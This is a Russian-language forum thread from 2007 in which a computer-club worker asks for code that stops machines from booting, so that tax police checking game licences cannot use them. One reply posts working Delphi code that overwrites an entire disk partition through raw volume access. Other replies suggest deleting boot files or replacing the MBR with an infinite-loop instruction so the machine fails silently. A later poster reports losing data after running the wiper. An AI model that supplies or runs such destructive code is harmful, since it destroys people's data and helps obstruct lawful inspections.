Исходник вируса под winxp

Тема в разделе "WASM.BEGINNERS", создана пользователем gromila_2007, 19 фев 2007.

  1. gromila_2007

    gromila_2007 New Member

    Публикаций:
    0
    Регистрация:
    19 фев 2007
    Сообщения:
    4
    Может кто может выслать исходник программы, которая делала невозможной загрузку операционки (портит boot - сектор или может быть таблицу FAT32. Я работаю в компьютерном клубе, у нас часто проверяют игры на лицензию. Хотелось бы при следующих визитах финполиции записать эту программу в автозагрузку, чтобы они не смогли загрузить операционку. Очень был бы благодарен.
    Сергей.
     
  2. rtk

    rtk New Member

    Публикаций:
    0
    Регистрация:
    13 фев 2007
    Сообщения:
    24
    Ms-Rem выкладывал код, портящий MFT
     
  3. gromila_2007

    gromila_2007 New Member

    Публикаций:
    0
    Регистрация:
    19 фев 2007
    Сообщения:
    4
    В поиске на сайте не нашел ни автора Ms-Rem ни этот код?
    Сергей.
     
  4. rtk

    rtk New Member

    Публикаций:
    0
    Регистрация:
    13 фев 2007
    Сообщения:
    24
    Код (Text):
    1. program die;
    2.  
    3. uses
    4. windows;
    5. {
    6.  Затирание нахрен раздела на винте.
    7.  Drive - буква уничтожаемого диска.
    8.  Функция возвращает успешность выполнения своей черной работы.
    9.  За использование в незаконных целях
    10.  автор не отвечает (сидеть сами будете).
    11. }
    12.  
    13. function DieHard(Drive: Char): boolean;
    14. var
    15.  hFile: dword;
    16.  Buff: pointer;
    17.  Written: dword;
    18.  DiskSize: int64;
    19.  SectorsPerCluster,
    20.  BytesPerSector,
    21.  FreeClusters,
    22.  Clusters: dword;
    23.  BuffSize, r: dword;
    24.  
    25. begin
    26.   Result := false;
    27.   hFile := CreateFile(PChar('\\.\' + Drive +':'), GENERIC_WRITE,
    28.                       FILE_SHARE_READ or FILE_SHARE_WRITE,
    29.                       nil, OPEN_EXISTING, 0, 0);
    30.   if hFile = INVALID_HANDLE_VALUE then Exit;
    31.   GetDiskFreeSpace(PChar(Drive + ':\'), SectorsPerCluster,
    32.                    BytesPerSector, FreeClusters, Clusters);
    33.   DiskSize := SectorsPerCluster * BytesPerSector * Clusters;
    34.   BuffSize := SectorsPerCluster * BytesPerSector * 10;
    35.   GetMem(Buff, BuffSize);
    36.   for r := 0 to DiskSize div BuffSize do
    37.    WriteFile(hFile, Buff^, BuffSize, Written, nil);
    38.   FreeMem(Buff);
    39.   CloseHandle(hFile);
    40.   Result := true;
    41. end;
    42.  
    43. begin
    44. //Здесь вызываем DieHard(); --- входной параметр - буква диска
    45. end;
    46. end.
    Ну ты и отжег - Ms-Rem'а не нашел.
     
  5. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Тут MFT даже не пахнет :P
     
  6. cppasm

    cppasm New Member

    Публикаций:
    0
    Регистрация:
    18 июл 2006
    Сообщения:
    923
  7. rtk

    rtk New Member

    Публикаций:
    0
    Регистрация:
    13 фев 2007
    Сообщения:
    24
    ну спутал, это год наза было. :P
    Имелись ввиду посты.
     
  8. mAgoja

    mAgoja New Member

    Публикаций:
    0
    Регистрация:
    13 авг 2004
    Сообщения:
    114
    Адрес:
    Ukraine
    gromila_2007: Зачем тебе ваще портить Boot Sector или MBR???? нелегче те просто удалить.... тотже NTDETECT.COM или попросту на его место записать какоенить дерьмо.....
    Это избавит тебя потом от головняка с перестановкой системы и опять же ...установкой твоих игр.... Думаю проверка... востанавливать ниче не будет........
     
  9. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    Действительно, можно затереть NTDETECT.COM или ntldr, а потом с дискеты скопировать обратно. Предварительно создав загрузочную дискету с чем нибудь типа Volkov Commander и копиями затираемых файлов. Только тогда надо, чтоб раздел был в FATхх, а не в NTFS.
     
  10. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    Стирание NTLDR/NTDETECT.COM плохи тем, что будет выведено соотв. сообщение. Лучше пусть компьютер умирает молча. Раз уж требуется контролируемое уничтожение, то можно просто подменять MBR, например, на 'jmp $', оригинальную MBR копировать во второй сектор, а затем возвращать бедолагу обратно. Или, например, написать программку, которая лочит винчестер, если при загрузке не был введен корректный пароль.
     
  11. gromila_2007

    gromila_2007 New Member

    Публикаций:
    0
    Регистрация:
    19 фев 2007
    Сообщения:
    4
    Огромное спасибо за ответ. Правда пока нет возможности писать на Delphi. И еще вопрос: эта программа сможет удалить раздел, из которого она и была запущена и в котором и размещается Винда?
    Сергей.
     
  12. assorted

    assorted New Member

    Публикаций:
    0
    Регистрация:
    7 авг 2006
    Сообщения:
    227
    Я давал исходник в этой ветке http://www.wasm.ru/forum/viewtopic.php?id=17267
     
  13. gromila_2007

    gromila_2007 New Member

    Публикаций:
    0
    Регистрация:
    19 фев 2007
    Сообщения:
    4
    Mika0x65 а ты не мог бы написать код программы, хотя бы основную часть, а то я на ассемблере писал уже лет 5 назад, в основном работаю на Делфи.
    Сергей.
     
  14. W4FhLF

    W4FhLF New Member

    Публикаций:
    0
    Регистрация:
    3 дек 2006
    Сообщения:
    1.050
    gromila_2007

    Ну и пиши на делфи, тебе кроме API по-сути надо будет узнать только код операции jmp $, это: $EB$FE.
     
  15. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    W4FhLF
    Не совсем, чтобы восстановить MBR надо же откуда-то загрузиться :). Самое простое -- сделать загр. дискету с кодом, который восстанавливает MBR на место, и грузиться с нее для восстановления.

    gromila_2007
    Сохранение MBR во втором секторе можно сделать и на Delphi, как сказал W4FhLF. Чтобы восстанавливать MBR набросал код -- вставляешь его в первый сектор дискеты (Winhex, dd в помощь), грузишься с дискеты, код читает второй сектор, проверяет сигнатуру MBR на всякий случай и копирует содержимое второго сектора в первый. Код не проверял, но должно работать. Понятное дело, с кодом надо быть поосторожней -- запросто можно убить живую MBR. Тем более, что иногда пространством между 2ым и 63им сектором любят воспользоваться разные загрузчики.

    Код (Text):
    1. use16
    2. org 0x7C00
    3.  
    4.  xor ax, ax
    5.  mov ds, ax
    6.  mov es, ax
    7.  mov ss, ax
    8.  mov sp, 0x7C00
    9.  mov bp, sp
    10.  
    11.  mov ax, 0x201
    12.  mov cx, 0x2
    13.  mov dl, 0x80
    14.  xor dh, dh
    15.  mov bx, 0x600
    16.  int 0x13
    17.  jc read_error
    18.  
    19.  cmp word [0x7FE], 0xAA55
    20.  jnz sig_error
    21.  
    22.  mov ax, 0x301
    23.  mov cx, 0x1
    24.  mov dl, 0x80
    25.  xor dh, dh
    26.  mov bx, 0x600
    27.  int 0x13
    28.  jc write_error
    29.  
    30.  mov si, str_done
    31.  call put_str
    32.  jmp $
    33.  
    34. put_str:
    35.  lodsb
    36.  or al, al
    37.  jz .exit
    38.  mov ah, 0xE
    39.  mov bx, 0x7
    40.  int 0x10
    41.  jmp put_str
    42. .exit:
    43.  ret
    44.  
    45. read_error:
    46.  mov si, str_read_error
    47.  call put_str
    48.  jmp $
    49.  
    50. write_error:
    51.  mov si, str_write_error
    52.  call put_str
    53.  jmp $
    54.  
    55. sig_error:
    56.  mov si, str_sig_error
    57.  call put_str
    58.  jmp $
    59.  
    60. str_done:        db 'MBR repaired successfully.', 0xA, 0xD, 0x0
    61. str_read_error:  db 'Read error.', 0xA, 0xD, 0x0
    62. str_write_error: db 'Write error.', 0xA, 0xD, 0x0
    63. str_sig_error:   db 'Wrong signature.', 0xA, 0xD, 0x0
    64.  
    65. times 510 - ($ - $$) db 0xFF
    66. dw 0xAA55
     
  16. apple

    apple Виктор

    Публикаций:
    0
    Регистрация:
    26 апр 2005
    Сообщения:
    907
    Адрес:
    Russia
    Да. После этого в свойствах жесткого диска пишется "Свободно 0 байт, Занято 0 байт"
     
  17. feral

    feral New Member

    Публикаций:
    0
    Регистрация:
    4 ноя 2009
    Сообщения:
    5
    Очень нужна помощь. После применения кода от rtk, не могу восстановить разделы.
    Жесткий диск был поделен на два раздела. Нужно восстановить данные на втором разделе, незагрузочном. Загрузился с Live CD, перепробовал несколько программ для восстановления - ничего не получается у меня. Некоторые восстанавливают, но не все папки в этом разделе - хотя затирание данных произойти не могло. Вот код функции от rtk:

     
  18. o14189

    o14189 New Member

    Публикаций:
    0
    Регистрация:
    19 июл 2009
    Сообщения:
    320
    feral
    Шикарно
     
  19. feral

    feral New Member

    Публикаций:
    0
    Регистрация:
    4 ноя 2009
    Сообщения:
    5
    Посоветуйте пожалуйста кто нибудь что нибудь(((. Уже 3 день мучаюсь.

    Забыл написать - оба раздела под NTFS.
     
  20. FatMoon

    FatMoon New Member

    Публикаций:
    0
    Регистрация:
    28 ноя 2002
    Сообщения:
    954
    Адрес:
    Russia
    feral
    учитывая, что это NTFS... И учитывая, что (или я что-то не понимаю, почему у тебя восстанавливает, но не все) ты менял размер разделов после первоначальной разметки, чем-то типа PartitionMagic, увеличивал один, уменьшал другой... ты можешь свои папки все и не восстановить.

    Советую - вздохнуть поглубже, и ... fdisk, format по желанию, и установка винды по новой. У тебя по крайней мере железяка осталась, ее можно использовать, а не новую покупать. А, да - и завязать с вирмейкерством, особенно с деструктивными функциями. А то вот так оно бывает...